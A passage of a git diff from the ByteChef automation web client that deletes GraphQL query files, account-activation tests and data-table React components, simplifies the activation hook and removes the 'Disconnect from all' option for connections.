-        triggersCount
-        clusterElementsCount
-        componentCategories {
-            name
-            label
-        }
-        actions {
-            name
-            title
-            description
-        }
-        triggers {
-            name
-            title
-            description
-        }
-        clusterElements {
-            type {
-                name
-                label
-            }
-        }
-    }
-}
diff --git a/client/src/graphql/platform/configuration/saveClusterElementTestConfigurationConnection.graphql b/client/src/graphql/platform/configuration/saveClusterElementTestConfigurationConnection.graphql
deleted file mode 100644
index 2ed3490c671..00000000000
--- a/client/src/graphql/platform/configuration/saveClusterElementTestConfigurationConnection.graphql
+++ /dev/null
@@ -1,19 +0,0 @@
-mutation saveClusterElementTestConfigurationConnection(
-    $workflowId: String!
-    $workflowNodeName: String!
-    $clusterElementType: String!
-    $clusterElementWorkflowNodeName: String!
-    $workflowConnectionKey: String!
-    $connectionId: Long!
-    $environmentId: Long!
-) {
-    saveClusterElementTestConfigurationConnection(
-        workflowId: $workflowId
-        workflowNodeName: $workflowNodeName
-        clusterElementType: $clusterElementType
-        clusterElementWorkflowNodeName: $clusterElementWorkflowNodeName
-        workflowConnectionKey: $workflowConnectionKey
-        connectionId: $connectionId
-        environmentId: $environmentId
-    )
-}
diff --git a/client/src/graphql/platform/configuration/saveWorkflowTestConfigurationConnection.graphql b/client/src/graphql/platform/configuration/saveWorkflowTestConfigurationConnection.graphql
deleted file mode 100644
index 5b719648c4e..00000000000
--- a/client/src/graphql/platform/configuration/saveWorkflowTestConfigurationConnection.graphql
+++ /dev/null
@@ -1,15 +0,0 @@
-mutation saveWorkflowTestConfigurationConnection(
-    $workflowId: String!
-    $workflowNodeName: String!
-    $workflowConnectionKey: String!
-    $connectionId: Long!
-    $environmentId: Long!
-) {
-    saveWorkflowTestConfigurationConnection(
-        workflowId: $workflowId
-        workflowNodeName: $workflowNodeName
-        workflowConnectionKey: $workflowConnectionKey
-        connectionId: $connectionId
-        environmentId: $environmentId
-    )
-}
diff --git a/client/src/graphql/platform/configuration/testClusterElementScript.graphql b/client/src/graphql/platform/configuration/testClusterElementScript.graphql
deleted file mode 100644
index f5ac4d6dc29..00000000000
--- a/client/src/graphql/platform/configuration/testClusterElementScript.graphql
+++ /dev/null
@@ -1,23 +0,0 @@
-mutation testClusterElementScript(
-    $workflowId: String!
-    $workflowNodeName: String!
-    $clusterElementType: String!
-    $clusterElementWorkflowNodeName: String!
-    $environmentId: Long!
-    $inputParameters: Map
-) {
-    testClusterElementScript(
-        workflowId: $workflowId
-        workflowNodeName: $workflowNodeName
-        clusterElementType: $clusterElementType
-        clusterElementWorkflowNodeName: $clusterElementWorkflowNodeName
-        environmentId: $environmentId
-        inputParameters: $inputParameters
-    ) {
-        error {
-            message
-            stackTrace
-        }
-        output
-    }
-}
diff --git a/client/src/graphql/platform/configuration/testWorkflowNodeScript.graphql b/client/src/graphql/platform/configuration/testWorkflowNodeScript.graphql
deleted file mode 100644
index 6e6e2fc2bf2..00000000000
--- a/client/src/graphql/platform/configuration/testWorkflowNodeScript.graphql
+++ /dev/null
@@ -1,19 +0,0 @@
-mutation testWorkflowNodeScript(
-    $workflowId: String!
-    $workflowNodeName: String!
-    $environmentId: Long!
-    $inputParameters: Map
-) {
-    testWorkflowNodeScript(
-        workflowId: $workflowId
-        workflowNodeName: $workflowNodeName
-        environmentId: $environmentId
-        inputParameters: $inputParameters
-    ) {
-        error {
-            message
-            stackTrace
-        }
-        output
-    }
-}
diff --git a/client/src/graphql/platform/configuration/workflowNodeComponentConnections.graphql b/client/src/graphql/platform/configuration/workflowNodeComponentConnections.graphql
deleted file mode 100644
index 94d5e636c10..00000000000
--- a/client/src/graphql/platform/configuration/workflowNodeComponentConnections.graphql
+++ /dev/null
@@ -1,9 +0,0 @@
-query workflowNodeComponentConnections($workflowId: String!, $workflowNodeName: String!) {
-    workflowNodeComponentConnections(workflowId: $workflowId, workflowNodeName: $workflowNodeName) {
-        componentName
-        componentVersion
-        key
-        required
-        workflowNodeName
-    }
-}
diff --git a/client/src/graphql/platform/configuration/workflowNodeScriptInput.graphql b/client/src/graphql/platform/configuration/workflowNodeScriptInput.graphql
deleted file mode 100644
index 480c57e0707..00000000000
--- a/client/src/graphql/platform/configuration/workflowNodeScriptInput.graphql
+++ /dev/null
@@ -1,11 +0,0 @@
-query workflowNodeScriptInput(
-    $workflowId: String!
-    $workflowNodeName: String!
-    $environmentId: Long!
-) {
-    workflowNodeScriptInput(
-        workflowId: $workflowId
-        workflowNodeName: $workflowNodeName
-        environmentId: $environmentId
-    )
-}
diff --git a/client/src/graphql/platform/custom-component/customComponent.graphql b/client/src/graphql/platform/custom-component/customComponent.graphql
deleted file mode 100644
index b639bdfb1df..00000000000
--- a/client/src/graphql/platform/custom-component/customComponent.graphql
+++ /dev/null
@@ -1,17 +0,0 @@
-query customComponent($id: ID!) {
-    customComponent(id: $id) {
-        id
-        name
-        title
-        description
-        icon
-        componentVersion
-        enabled
-        language
-        createdBy
-        createdDate
-        lastModifiedBy
-        lastModifiedDate
-        version
-    }
-}
diff --git a/client/src/graphql/platform/custom-component/customComponentDefinition.graphql b/client/src/graphql/platform/custom-component/customComponentDefinition.graphql
deleted file mode 100644
index 83ca8260586..00000000000
--- a/client/src/graphql/platform/custom-component/customComponentDefinition.graphql
+++ /dev/null
@@ -1,14 +0,0 @@
-query customComponentDefinition($id: ID!) {
-    customComponentDefinition(id: $id) {
-        actions {
-            name
-            title
-            description
-        }
-        triggers {
-            name
-            title
-            description
-        }
-    }
-}
diff --git a/client/src/graphql/platform/custom-component/customComponents.graphql b/client/src/graphql/platform/custom-component/customComponents.graphql
deleted file mode 100644
index c5b9438ead5..00000000000
--- a/client/src/graphql/platform/custom-component/customComponents.graphql
+++ /dev/null
@@ -1,17 +0,0 @@
-query customComponents {
-    customComponents {
-        id
-        name
-        title
-        description
-        icon
-        componentVersion
-        enabled
-        language
-        createdBy
-        createdDate
-        lastModifiedBy
-        lastModifiedDate
-        version
-    }
-}
diff --git a/client/src/graphql/platform/custom-component/deleteCustomComponent.graphql b/client/src/graphql/platform/custom-component/deleteCustomComponent.graphql
deleted file mode 100644
index 9005f2c25b9..00000000000
--- a/client/src/graphql/platform/custom-component/deleteCustomComponent.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation deleteCustomComponent($id: ID!) {
-    deleteCustomComponent(id: $id)
-}
diff --git a/client/src/graphql/platform/custom-component/enableCustomComponent.graphql b/client/src/graphql/platform/custom-component/enableCustomComponent.graphql
deleted file mode 100644
index a7868d769dd..00000000000
--- a/client/src/graphql/platform/custom-component/enableCustomComponent.graphql
+++ /dev/null
@@ -1,3 +0,0 @@
-mutation enableCustomComponent($id: ID!, $enable: Boolean!) {
-    enableCustomComponent(id: $id, enable: $enable)
-}
diff --git a/client/src/pages/account/public/RegisterSuccess.tsx b/client/src/pages/account/public/RegisterSuccess.tsx
index 1d2b3b18a4e..6b323d703f6 100644
--- a/client/src/pages/account/public/RegisterSuccess.tsx
+++ b/client/src/pages/account/public/RegisterSuccess.tsx
@@ -10,11 +10,10 @@ import {useShallow} from 'zustand/react/shallow';
 import {useActivateStore} from './stores/useActivateStore';
 
 const RegisterSuccess = () => {
-    const {activate, activationFailure, activationSuccess, loading} = useActivateStore(
+    const {activate, activationFailure, loading} = useActivateStore(
         useShallow((state) => ({
             activate: state.activate,
             activationFailure: state.activationFailure,
-            activationSuccess: state.activationSuccess,
             loading: state.loading,
         }))
     );
@@ -26,16 +25,14 @@ const RegisterSuccess = () => {
     const key = searchParams.get('key');
 
     useEffect(() => {
-        if (key && !activationSuccess) {
+        if (key) {
             activate(key);
         }
-    }, [key, activate, activationSuccess]);
 
-    useEffect(() => {
-        if (activationFailure) {
+        if (key && activationFailure) {
             navigate('/account-error', {state: {fromInternalFlow: true}});
         }
-    }, [activationFailure, navigate]);
+    }, [activate, activationFailure, key, navigate]);
 
     return (
         <PublicLayoutContainer>
diff --git a/client/src/pages/account/public/stores/useActivateStore.ts b/client/src/pages/account/public/stores/useActivateStore.ts
index a72fbd96bd2..4fe33768595 100644
--- a/client/src/pages/account/public/stores/useActivateStore.ts
+++ b/client/src/pages/account/public/stores/useActivateStore.ts
@@ -31,12 +31,13 @@ export const useActivateStore = create<ActivateI>()(
             loading: false,
 
             activate: async (key: string | null) => {
-                if (get().loading || get().activationSuccess) {
+                if (get().loading) {
                     return;
                 }
 
                 set((state) => ({
                     ...state,
+                    activationSuccess: false,
                     activationFailure: false,
                     loading: true,
                 }));
diff --git a/client/src/pages/account/public/tests/RegisterSuccess.test.tsx b/client/src/pages/account/public/tests/RegisterSuccess.test.tsx
deleted file mode 100644
index 6bf10b8f46d..00000000000
--- a/client/src/pages/account/public/tests/RegisterSuccess.test.tsx
+++ /dev/null
@@ -1,152 +0,0 @@
-import {useFeatureFlagsStore} from '@/shared/stores/useFeatureFlagsStore';
-import {render, resetAll, screen, userEvent, waitFor, windowResizeObserver} from '@/shared/util/test-utils';
-import {MemoryRouter, Route, Routes} from 'react-router-dom';
-import {Mock, afterEach, beforeEach, expect, it, vi} from 'vitest';
-
-import AccountErrorPage from '../AccountErrorPage';
-import Login from '../Login';
-import RegisterSuccess from '../RegisterSuccess';
-import {mockActivateStore} from '../tests/mocks/mockActivateStore';
-import {mockApplicationInfoStore} from '../tests/mocks/mockApplicationInfoStore';
-import {mockAuthenticationStore} from '../tests/mocks/mockAuthenticationStore';
-
-const renderRegisterSuccessPage = (initialPath = '/activate?key=test-activation-key') => {
-    render(
-        <MemoryRouter initialEntries={[initialPath]}>
-            <Routes>
-                <Route element={<RegisterSuccess />} path="/activate" />
-
-                <Route element={<AccountErrorPage />} path="/account-error" />
-
-                <Route element={<Login />} path="/login" />
-            </Routes>
-        </MemoryRouter>
-    );
-};
-
-vi.mock('@/pages/account/public/stores/useActivateStore', () => ({
-    useActivateStore: vi.fn(),
-}));
-
-vi.mock('@/shared/stores/useAuthenticationStore', () => ({
-    useAuthenticationStore: vi.fn(),
-}));
-
-vi.mock('@/shared/stores/useApplicationInfoStore', () => ({
-    useApplicationInfoStore: vi.fn(),
-}));
-
-vi.mock('@/shared/stores/useFeatureFlagsStore', () => ({
-    useFeatureFlagsStore: vi.fn(),
-}));
-
-(useFeatureFlagsStore as unknown as Mock).mockReturnValue(vi.fn());
-
-beforeEach(() => {
-    mockActivateStore();
-    mockApplicationInfoStore();
-    mockAuthenticationStore();
-    windowResizeObserver();
-});
-
-afterEach(() => {
-    resetAll();
-});
-
-it('should render the register success page', () => {
-    renderRegisterSuccessPage();
-
-    expect(screen.getByText('Account created successfully')).toBeInTheDocument();
-    expect(screen.getByText("You're ready to start using ByteChef.")).toBeInTheDocument();
-    expect(screen.getByRole('button', {name: 'Start'})).toBeInTheDocument();
-});
-
-it('should call activate with the key from URL params', () => {
-    const mockStore = mockActivateStore();
-
-    renderRegisterSuccessPage('/activate?key=my-activation-key');
-
-    expect(mockStore.activate).toHaveBeenCalledWith('my-activation-key');
-});
-
-it('should call activate only once even if component re-renders', () => {
-    const mockStore = mockActivateStore();
-
-    const {rerender} = render(
-        <MemoryRouter initialEntries={['/activate?key=test-key']}>
-            <Routes>
-                <Route element={<RegisterSuccess />} path="/activate" />
-            </Routes>
-        </MemoryRouter>
-    );
-
-    expect(mockStore.activate).toHaveBeenCalledTimes(1);
-
-    rerender(
-        <MemoryRouter initialEntries={['/activate?key=test-key']}>
-            <Routes>
-                <Route element={<RegisterSuccess />} path="/activate" />
-            </Routes>
-        </MemoryRouter>
-    );
-
-    expect(mockStore.activate).toHaveBeenCalledTimes(1);
-});
-
-it('should not call activate when key is not present in URL', () => {
-    const mockStore = mockActivateStore();
-
-    renderRegisterSuccessPage('/activate');
-
-    expect(mockStore.activate).not.toHaveBeenCalled();
-});
-
-it('should navigate to error page when activationFailure is true', async () => {
-    mockActivateStore({
-        activationFailure: true,
-    });
-
-    renderRegisterSuccessPage();
-
-    await waitFor(() => {
-        expect(screen.getByText('Something went wrong. Try again.')).toBeInTheDocument();
-    });
-});
-
-it('should show loading state when loading is true', () => {
-    mockActivateStore({
-        loading: true,
-    });
-
-    renderRegisterSuccessPage();
-
-    const startButton = screen.getByRole('button', {name: 'Start'});
-
-    expect(startButton).toBeDisabled();
-});
-
-it('should navigate to login page when "Start" button is clicked', async () => {
-    mockActivateStore({
-        activationSuccess: true,
-        loading: false,
-    });
-
-    renderRegisterSuccessPage();
-
-    const startButton = screen.getByRole('button', {name: 'Start'});
-    await userEvent.click(startButton);
-
-    await waitFor(() => {
-        expect(screen.getByText('Welcome back')).toBeInTheDocument();
-    });
-});
-
-it('should not call activate if activationSuccess is already true', () => {
-    const mockStore = mockActivateStore({
-        activationSuccess: true,
-    });
-
-    renderRegisterSuccessPage('/activate?key=test-key');
-
-    expect(mockStore.activate).not.toHaveBeenCalled();
-});
diff --git a/client/src/pages/account/public/tests/mocks/mockActivateStore.tsx b/client/src/pages/account/public/tests/mocks/mockActivateStore.tsx
deleted file mode 100644
index 91478661bc9..00000000000
--- a/client/src/pages/account/public/tests/mocks/mockActivateStore.tsx
+++ /dev/null
@@ -1,24 +0,0 @@
-import {useActivateStore} from '@/pages/account/public/stores/useActivateStore';
-import {Mock, vi} from 'vitest';
-
-export const createMockActivateStore = (overrides = {}) => {
-    const defaultMock = {
-        activate: vi.fn(),
-        activationFailure: false,
-        activationSuccess: false,
-        loading: false,
-    };
-
-    return {
-        ...defaultMock,
-        ...overrides,
-    };
-};
-
-export const mockActivateStore = (overrides = {}) => {
-    const mockStore = createMockActivateStore(overrides);
-
-    (useActivateStore as unknown as Mock).mockReturnValue(mockStore);
-
-    return mockStore;
-};
diff --git a/client/src/pages/automation/connections/components/connection-list/ConnectionListItem.tsx b/client/src/pages/automation/connections/components/connection-list/ConnectionListItem.tsx
index a1927e1f3c4..3cd42eb416b 100644
--- a/client/src/pages/automation/connections/components/connection-list/ConnectionListItem.tsx
+++ b/client/src/pages/automation/connections/components/connection-list/ConnectionListItem.tsx
@@ -26,7 +26,6 @@ import {ComponentDefinitionBasic} from '@/shared/middleware/platform/configurati
 import {useUpdateConnectionTagsMutation} from '@/shared/mutations/automation/connectionTags.mutations';
 import {
     useDeleteConnectionMutation,
-    useDisconnectConnectionMutation,
     useUpdateConnectionMutation,
 } from '@/shared/mutations/automation/connections.mutations';
 import {ConnectionKeys, useGetConnectionTagsQuery} from '@/shared/queries/automation/connections.queries';
@@ -35,7 +34,7 @@ import {
     useGetConnectionComponentDefinitionQuery,
 } from '@/shared/queries/platform/componentDefinitions.queries';
 import {useQueryClient} from '@tanstack/react-query';
-import {ComponentIcon, EditIcon, EllipsisVerticalIcon, Link2OffIcon, Trash2Icon} from 'lucide-react';
+import {ComponentIcon, EditIcon, EllipsisVerticalIcon, Trash2Icon} from 'lucide-react';
 import {memo, useState} from 'react';
 
 import TagList from '../../../../../shared/components/TagList';
@@ -49,7 +48,6 @@ interface ConnectionListItemProps {
 const ConnectionListItem = memo(({componentDefinitions, connection, remainingTags}: ConnectionListItemProps) => {
     const [showEditDialog, setShowEditDialog] = useState(false);
     const [showDeleteDialog, setShowDeleteDialog] = useState(false);
-    const [showDisconnectDialog, setShowDisconnectDialog] = useState(false);
 
     const {data: componentDefinition} = useGetConnectionComponentDefinitionQuery({
         componentName: connection.componentName,
@@ -72,26 +70,6 @@ const ConnectionListItem = memo(({componentDefinitions, connection, remainingTag
         },
     });
 
-    const disconnectConnectionMutation = useDisconnectConnectionMutation({
-        onError: (error) => {
-            console.error('Failed to disconnect connection:', error);
-            setShowDisconnectDialog(false);
-        },
-        onSuccess: () => {
-            queryClient.invalidateQueries({
-                queryKey: ComponentDefinitionKeys.componentDefinitions,
-            });
-            queryClient.invalidateQueries({
-                queryKey: ConnectionKeys.connections,
-            });
-            queryClient.invalidateQueries({
-                queryKey: ConnectionKeys.connectionTags,
-            });
-
-            setShowDisconnectDialog(false);
-        },
-    });
-
     const updateConnectionTagsMutation = useUpdateConnectionTagsMutation({
         onSuccess: () => {
             queryClient.invalidateQueries({
@@ -111,12 +89,6 @@ const ConnectionListItem = memo(({componentDefinitions, connection, remainingTag
         }
     };
 
-    const handleDisconnectFromAllClick = () => {
-        if (connection.id) {
-            disconnectConnectionMutation.mutate(connection.id);
-        }
-    };
-
     if (!componentDefinition) {
         return <></>;
     }
@@ -208,34 +180,12 @@ const ConnectionListItem = memo(({componentDefinitions, connection, remainingTag
 
                                     <DropdownMenuSeparator className="m-0" />
 
-                                    {connection.active && (
-                                        <DropdownMenuItem
-                                            className="dropdown-menu-item"
-                                            onClick={() => setShowDisconnectDialog(true)}
-                                        >
-                                            <Link2OffIcon /> Disconnect from all
-                                        </DropdownMenuItem>
-                                    )}
-
-                                    <div
-                                        title={
-                                            connection.active === true
-                                                ? 'Disconnect from all workflows first to enable deletion'
-                                                : 'Delete the connection'
-                                        }
+                                    <DropdownMenuItem
+                                        className="dropdown-menu-item-destructive"
+                                        onClick={() => setShowDeleteDialog(true)}
                                     >
-                                        <DropdownMenuItem
-                                            className={
-                                                connection.active
-                                                    ? 'dropdown-menu-item-destructive-disabled'
-                                                    : 'dropdown-menu-item-destructive'
-                                            }
-                                            disabled={connection.active === true}
-                                            onClick={() => connection.active !== true && setShowDeleteDialog(true)}
-                                        >
-                                            <Trash2Icon /> Delete
-                                        </DropdownMenuItem>
-                                    </div>
+                                        <Trash2Icon /> Delete
+                                    </DropdownMenuItem>
                                 </DropdownMenuContent>
                             </DropdownMenu>
                         </div>
@@ -265,37 +215,6 @@ const ConnectionListItem = memo(({componentDefinitions, connection, remainingTag
                     </AlertDialogContent>
                 </AlertDialog>
 
-                <AlertDialog open={showDisconnectDialog}>
-                    <AlertDialogContent className="flex w-full max-w-lg flex-col items-end gap-4 rounded-lg border border-stroke-neutral-secondary bg-surface-neutral-primary p-6 shadow-lg">
-                        <AlertDialogHeader className="w-full">
-                            <AlertDialogTitle className="self-stretch text-lg font-normal leading-7 text-content-neutral-primary">
-                                Disconnect <strong>{connection.name}</strong> from all workflows?
-                            </AlertDialogTitle>
-
-                            <AlertDialogDescription className="self-stretch text-sm font-normal leading-5 text-content-neutral-secondary">
-                                This action cannot be undone.
-                            </AlertDialogDescription>
-                        </AlertDialogHeader>
-
-                        <AlertDialogFooter className="gap-2">
-                            <AlertDialogCancel
-                                className="flex h-9 items-center justify-center gap-2 rounded-md border border-stroke-neutral-secondary bg-surface-neutral-primary px-4 py-2"
-                                onClick={() => setShowDisconnectDialog(false)}
-                            >
-                                Cancel
-                            </AlertDialogCancel>
-
-                            <AlertDialogAction
-                                className="flex h-9 items-center justify-center gap-2 rounded-md bg-surface-destructive-primary px-4 py-2 text-content-onsurface-primary shadow-none hover:bg-surface-destructive-primary-hover active:bg-surface-destructive-primary-active"
-                                onClick={handleDisconnectFromAllClick}
-                            >
-                                <Link2OffIcon className="size-4" />
-                                Disconnect from all
-                            </AlertDialogAction>
-                        </AlertDialogFooter>
-                    </AlertDialogContent>
-                </AlertDialog>
-
                 {showEditDialog && componentDefinitions && (
                     <ConnectionDialog
                         componentDefinitions={componentDefinitions}
diff --git a/client/src/pages/automation/datatable/DataTable.css b/client/src/pages/automation/datatable/DataTable.css
deleted file mode 100644
index 05bb3a4bbb9..00000000000
--- a/client/src/pages/automation/datatable/DataTable.css
+++ /dev/null
@@ -1,9 +0,0 @@
-.datatable-cell {
-    @apply border-t;
-    @apply border-r;
-}
-
-.datatable-summary-row {
-    @apply border-t;
-    @apply border-r;
-}
diff --git a/client/src/pages/automation/datatable/DataTable.tsx b/client/src/pages/automation/datatable/DataTable.tsx
deleted file mode 100644
index 6179a75a287..00000000000
--- a/client/src/pages/automation/datatable/DataTable.tsx
+++ /dev/null
@@ -1,99 +0,0 @@
-import Button from '@/components/Button/Button';
-import PageLoader from '@/components/PageLoader';
-import CreateDataTableDialog from '@/pages/automation/datatables/components/CreateDataTableDialog';
-import Header from '@/shared/layout/Header';
-import LayoutContainer from '@/shared/layout/LayoutContainer';
-import {Plus} from 'lucide-react';
-import {DataGrid} from 'react-data-grid';
-import {useParams} from 'react-router-dom';
-
-import 'react-data-grid/lib/styles.css';
-
-import './DataTable.css';
-import AddDataTableColumnDialog from './components/AddDataTableColumnDialog';
-import DataTableHeader from './components/DataTableHeader';
-import DataTableLeftSidebar from './components/DataTableLeftSidebar';
-import DeleteDataTableAlertDialog from './components/DeleteDataTableAlertDialog';
-import DeleteDataTableColumnDialog from './components/DeleteDataTableColumnDialog';
-import DeleteDataTableRowsDialog from './components/DeleteDataTableRowsDialog';
-import ImportDataTableCsvDialog from './components/ImportDataTableCsvDialog';
-import RenameDataTableColumnDialog from './components/RenameDataTableColumnDialog';
-import RenameDataTableDialog from './components/RenameDataTableDialog';
-import {useDataTable} from './hooks/useDataTable';
-import {useSelectedRowsStore} from './stores/useSelectedRowsStore';
-
-const DataTable = () => {
-    const {id} = useParams<{id: string}>();
-    const {selectedRows} = useSelectedRowsStore();
-
-    const {
-        gridColumns,
-        gridRowsWithAdd,
-        handleGridScroll,
-        handleRowsChange,
-        handleSelectedRowsChange,
-        rowsError,
-        rowsLoading,
-        tablesError,
-        tablesLoading,
-    } = useDataTable({tableId: id});
-
-    return (
-        <LayoutContainer
-            header={<DataTableHeader />}
-            leftSidebarBody={<DataTableLeftSidebar currentId={id} />}
-            leftSidebarHeader={
-                <Header
-                    position="sidebar"
-                    right={
-                        <CreateDataTableDialog
-                            trigger={
-                                <Button
-                                    aria-label="Create table"
-                                    icon={<Plus className="h-4 w-4" />}
-                                    size="icon"
-                                    variant="ghost"
-                                />
-                            }
-                        />
-                    }
-                    title="Data Tables"
-                />
-            }
-            leftSidebarWidth="64"
-        >
-            <PageLoader errors={[tablesError, rowsError]} loading={tablesLoading || rowsLoading}>
-                <div className="grid px-4">
-                    <DataGrid
-                        aria-description="Data Table"
-                        bottomSummaryRows={[{}]}
-                        columns={gridColumns}
-                        onRowsChange={handleRowsChange}
-                        onScroll={handleGridScroll}
-                        onSelectedRowsChange={handleSelectedRowsChange}
-                        rowKeyGetter={(row) => row.id}
-                        rows={gridRowsWithAdd}
-                        selectedRows={selectedRows}
-                        style={{blockSize: '100%'}}
-                    />
-                </div>
-            </PageLoader>
-
-            <ImportDataTableCsvDialog />
-
-            <AddDataTableColumnDialog />
-
-            <RenameDataTableColumnDialog />
-
-            <DeleteDataTableColumnDialog />
-
-            <DeleteDataTableRowsDialog />
-
-            <RenameDataTableDialog />
-
-            <DeleteDataTableAlertDialog />
-        </LayoutContainer>
-    );
-};
-
-export default DataTable;
diff --git a/client/src/pages/automation/datatable/components/AddDataTableColumnDialog.tsx b/client/src/pages/automation/datatable/components/AddDataTableColumnDialog.tsx
deleted file mode 100644
index 77d9bf08eec..00000000000
--- a/client/src/pages/automation/datatable/components/AddDataTableColumnDialog.tsx
+++ /dev/null
@@ -1,112 +0,0 @@
-import Button from '@/components/Button/Button';
-import {
-    Dialog,
-    DialogCloseButton,
-    DialogContent,
-    DialogDescription,
-    DialogFooter,
-    DialogHeader,
-    DialogTitle,
-} from '@/components/ui/dialog';
-import {Input} from '@/components/ui/input';
-import {Label} from '@/components/ui/label';
-import {Select, SelectContent, SelectItem, SelectTrigger, SelectValue} from '@/components/ui/select';
-import {ColumnType} from '@/shared/middleware/graphql';
-import {useEffect, useState} from 'react';
-
-import useAddDataTableColumnDialog from '../hooks/useAddDataTableColumnDialog';
-
-const COLUMN_TYPES: ColumnType[] = [
-    ColumnType.String,
-    ColumnType.Number,
-    ColumnType.Integer,
-    ColumnType.Date,
-    ColumnType.DateTime,
-    ColumnType.Boolean,
-];
-
-const AddDataTableColumnDialog = () => {
-    const [columnName, setColumnName] = useState('');
-    const [columnType, setColumnType] = useState<ColumnType>(ColumnType.String);
-
-    const {handleAdd, handleOpenChange, open} = useAddDataTableColumnDialog();
-
-    useEffect(() => {
-        if (!open) {
-            setColumnName('');
-            setColumnType(ColumnType.String);
-        }
-    }, [open]);
-
-    const trimmedColumnName = columnName.trim();
-
-    const isReservedName = trimmedColumnName.toLowerCase() === 'id';
-
-    const isValidColumnName = trimmedColumnName.length > 0 && !isReservedName;
-
-    const handleAddClick = () => {
-        if (!isValidColumnName) {
-            return;
-        }
-
-        handleAdd(trimmedColumnName, columnType);
-    };
-
-    return (
-        <Dialog onOpenChange={handleOpenChange} open={open}>
-            <DialogContent>
-                <DialogHeader className="flex flex-row items-center justify-between space-y-0">
-                    <div className="flex flex-col space-y-1">
-                        <DialogTitle>Add Column</DialogTitle>
-
-                        <DialogDescription>Enter a new name for the column.</DialogDescription>
-                    </div>
-
-                    <DialogCloseButton />
-                </DialogHeader>
-
-                <div className="space-y-3 py-2">
-                    <div className="space-y-1">
-                        <Label>Name</Label>
-
-                        <Input onChange={(event) => setColumnName(event.target.value)} value={columnName} />
-
-                        {isReservedName && (
-                            <p className="text-sm text-destructive">&quot;id&quot; is a reserved column name</p>
-                        )}
-                    </div>
-
-                    <div className="space-y-1">
-                        <Label>Type</Label>
-
-                        <Select onValueChange={(value) => setColumnType(value as ColumnType)} value={columnType}>
-                            <SelectTrigger className="w-[240px]">
-                                <SelectValue placeholder="Select type" />
-                            </SelectTrigger>
-
-                            <SelectContent>
-                                {COLUMN_TYPES.map((type) => (
-                                    <SelectItem key={type} value={type}>
-                                        {type}
-                                    </SelectItem>
-                                ))}
-                            </SelectContent>
-                        </Select>
-                    </div>
-                </div>
-
-                <DialogFooter>
-                    <Button onClick={() => handleOpenChange(false)} variant="outline">
-                        Cancel
-                    </Button>
-
-                    <Button disabled={!isValidColumnName} onClick={handleAddClick}>
-                        Add
-                    </Button>
-                </DialogFooter>
-            </DialogContent>
-        </Dialog>
-    );
-};
-
-export default AddDataTableColumnDialog;
diff --git a/client/src/pages/automation/datatable/components/BottomLoader.tsx b/client/src/pages/automation/datatable/components/BottomLoader.tsx
deleted file mode 100644
index 3a76f57098f..00000000000
--- a/client/src/pages/automation/datatable/components/BottomLoader.tsx
+++ /dev/null
@@ -1,14 +0,0 @@
-interface BottomLoaderProps {
-    isFetchingNextPage: boolean;
-    rowCount: number;
-}
-
-const BottomLoader = ({isFetchingNextPage, rowCount}: BottomLoaderProps) => (
-    <div className="flex w-full items-center justify-start gap-3">
-        <span className="text-xs text-muted-foreground">Total rows: {rowCount}</span>
-
-        {isFetchingNextPage && <span className="text-xs text-muted-foreground">Loading…</span>}
-    </div>
-);
-
-export default BottomLoader;
diff --git a/client/src/pages/automation/datatable/components/DataTableActionsMenu.tsx b/client/src/pages/automation/datatable/components/DataTableActionsMenu.tsx
deleted file mode 100644
index dede006fd1b..00000000000
--- a/client/src/pages/automation/datatable/components/DataTableActionsMenu.tsx
+++ /dev/null
@@ -1,54 +0,0 @@
-import Button from '@/components/Button/Button';
-import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
-import {Download, MoreVertical, Pencil, Trash2, Upload} from 'lucide-react';
-
-interface DataTableActionsMenuProps {
-    onDeleteTable: () => void;
-    onExportCsv: () => void;
-    onImportCsv: () => void;
-    onRenameTable: () => void;
-    tableId?: string;
-}
-
-const DataTableActionsMenu = ({
-    onDeleteTable,
-    onExportCsv,
-    onImportCsv,
-    onRenameTable,
-    tableId,
-}: DataTableActionsMenuProps) => {
-    return (
-        <DropdownMenu>
-            <DropdownMenuTrigger asChild>
-                <Button aria-label="More actions" icon={<MoreVertical className="h-4 w-4" />} variant="ghost" />
-            </DropdownMenuTrigger>
-
-            <DropdownMenuContent align="end">
-                <DropdownMenuItem onClick={onImportCsv}>
-                    <Upload className="mr-2 size-4" /> Import CSV
-                </DropdownMenuItem>
-
-                <DropdownMenuItem onClick={onExportCsv}>
-                    <Download className="mr-2 h-4 w-4" /> Export CSV
-                </DropdownMenuItem>
-
-                {tableId && (
-                    <DropdownMenuItem onClick={onRenameTable}>
-                        <Pencil className="mr-2 h-4 w-4" /> Rename Table
-                    </DropdownMenuItem>
-                )}
-
-                {tableId && (
-                    <DropdownMenuItem
-                        className="text-content-destructive focus:text-content-destructive-primary"
-                        onClick={onDeleteTable}
-                    >
-                        <Trash2 className="mr-2 h-4 w-4" /> Delete Table
-                    </DropdownMenuItem>
-                )}
-            </DropdownMenuContent>
-        </DropdownMenu>
-    );
-};
-
-export default DataTableActionsMenu;
diff --git a/client/src/pages/automation/datatable/components/DataTableHeader.tsx b/client/src/pages/automation/datatable/components/DataTableHeader.tsx
deleted file mode 100644
index 63e778b2a2c..00000000000
--- a/client/src/pages/automation/datatable/components/DataTableHeader.tsx
+++ /dev/null
@@ -1,48 +0,0 @@
-import Button from '@/components/Button/Button';
-import Header from '@/shared/layout/Header';
-import {Trash2} from 'lucide-react';
-
-import useDataTableActionsMenu from '../hooks/useDataTableActionsMenu';
-import useDataTableHeader from '../hooks/useDataTableHeader';
-import {useCurrentDataTableStore} from '../stores/useCurrentDataTableStore';
-import DataTableActionsMenu from './DataTableActionsMenu';
-
-const DataTableHeader = () => {
-    const {dataTable} = useCurrentDataTableStore();
-
-    const {handleOpenDeleteRowsDialog, selectedRowsCount} = useDataTableHeader();
-
-    const {handleExportCsv, handleOpenDeleteDialog, handleOpenImportCsvDialog, handleOpenRenameDialog} =
-        useDataTableActionsMenu();
-
-    return (
-        <Header
-            centerTitle
-            position="main"
-            right={
-                <div className="flex items-center gap-2">
-                    {selectedRowsCount > 0 && (
-                        <Button onClick={handleOpenDeleteRowsDialog} variant="destructive">
-                            <Trash2 className="size-4" /> Delete ({selectedRowsCount})
-                        </Button>
-                    )}
-
-                    <DataTableActionsMenu
-                        onDeleteTable={handleOpenDeleteDialog}
-                        onExportCsv={handleExportCsv}
-                        onImportCsv={handleOpenImportCsvDialog}
-                        onRenameTable={handleOpenRenameDialog}
-                        tableId={dataTable?.id}
-                    />
-                </div>
